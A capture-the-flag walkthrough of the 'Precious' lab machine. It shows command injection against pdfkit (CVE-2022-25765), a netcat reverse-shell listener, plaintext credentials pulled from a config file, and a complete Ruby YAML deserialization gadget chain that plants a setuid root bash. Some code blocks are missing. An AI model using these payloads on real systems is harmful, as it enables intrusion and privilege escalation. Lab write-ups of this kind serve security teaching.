Machine Info
Precious is an Easy Difficulty Linux machine, that focuses on the Ruby language. It hosts a custom Ruby web application, using an outdated library, namely pdfkit, which is vulnerable to CVE-2022-25765, leading to an initial shell on the target machine. After a pivot using plaintext credentials that are found in a Gem repository config file, the box concludes with an insecure deserialization attack on a custom, outdated, Ruby script.
Host / IP
10.10.11.189 / PRECIOUS.HTB. We add the record to our /etc/hosts.
User
Reconnaissance
We are going to start by running our nmap scan:
└─$ nmap -p- --min-rate 10000 10.10.11.189
Starting Nmap 7.95 ( https://nmap.org ) at 2025-10-18 05:39 EDT
Warning: 10.10.11.189 giving up on port because retransmission cap hit (10).
Nmap scan report for precious.htb (10.10.11.189)
Host is up (0.12s latency).
Not shown: 47774 filtered tcp ports (no-response), 17759 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 66.77 seconds
We see a web port open and SSH one. Let’s visit the web page.
Website

We see that we can supply a URL ourselfs. Trying different tests. Putting localhost like http://127.0.0.1 returned an error.
Same for URLs like file:///etc/passwd.
Next we will start a listener python -m http.server and put our attack IP to see if goes through.


It worked! And it basically created a PDF which let’s us directory list the contents that our python web server exposes. Next we will try to analyze the requests and the PDF to find out more about the tech stack used.
exiftool to see our PDF. | |
pdfkit v0.8.6
We found tons of articles online about CVE-2022-25765.
CVE-2022-25765 POC
http://10.10.X.X/?name=%20'id'
We have confirmed it is vulnerable. Now let’s get a shell.
Shell
For this to work we need:
- send our payload to the web app
- start another listener for the incoming shell connection
nc -lvnp 4445
| |

User flag
We got a shell as ruby but we cannot get the user flag yet. It’s only readable by user henry.
We get his password by easily checking under cat /home/ruby/.bundle/config.
Henry's password
henry:Q3c1AqGHtoI0aXAYFHRoot
| |
| |
This unsafe file inclusion here is really interesting on the update_dependencies.rb script.
| |
This is the point to exploit. In the past there have been many flaws with deserializing YAML payloads which resulted in code execution. With a quick search we find a gist that has yaml code for us to include and achieve code execution.
So from the gist we have this code YAML code to test:
| |
We need to run the ruby script on the same location as the dependencies.yml. So we write our code above in /tmp and then we execute the script from there.
| |
Our YAML code above is executing just the dependencies.yml So let’s run it: The command above gave the executable 6777 set of permissions. So basically it set the SetUID and SetGID bites on.
So it sets:id code and we achieved priveleged code execution. We can just grab the flag or achieve a root shell. Let’s do the later.
With the code below we copy bash to another location and we make it SetUID and SetGID for root.Root flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: cp /bin/bash /tmp/p4n4; chmod 6777 /tmp/p4n4
method_id: :resolve
1
2
3
4
5
6
7
8
9
sudo ruby /opt/update_dependencies.rb
....
/tmp/p4n4 -p
p4n4-5.1# id
uid=1000(henry) gid=1000(henry) euid=0(root) egid=0(root) groups=0(root),1000(henry)
p4n4-5.1# cat /root/root.txt
a9e60ebfbc6a00118af264080de3a4b7
/tmp/p4n4 is owned by root. So by executing with -p gives a shell with effective UID and GID as root.
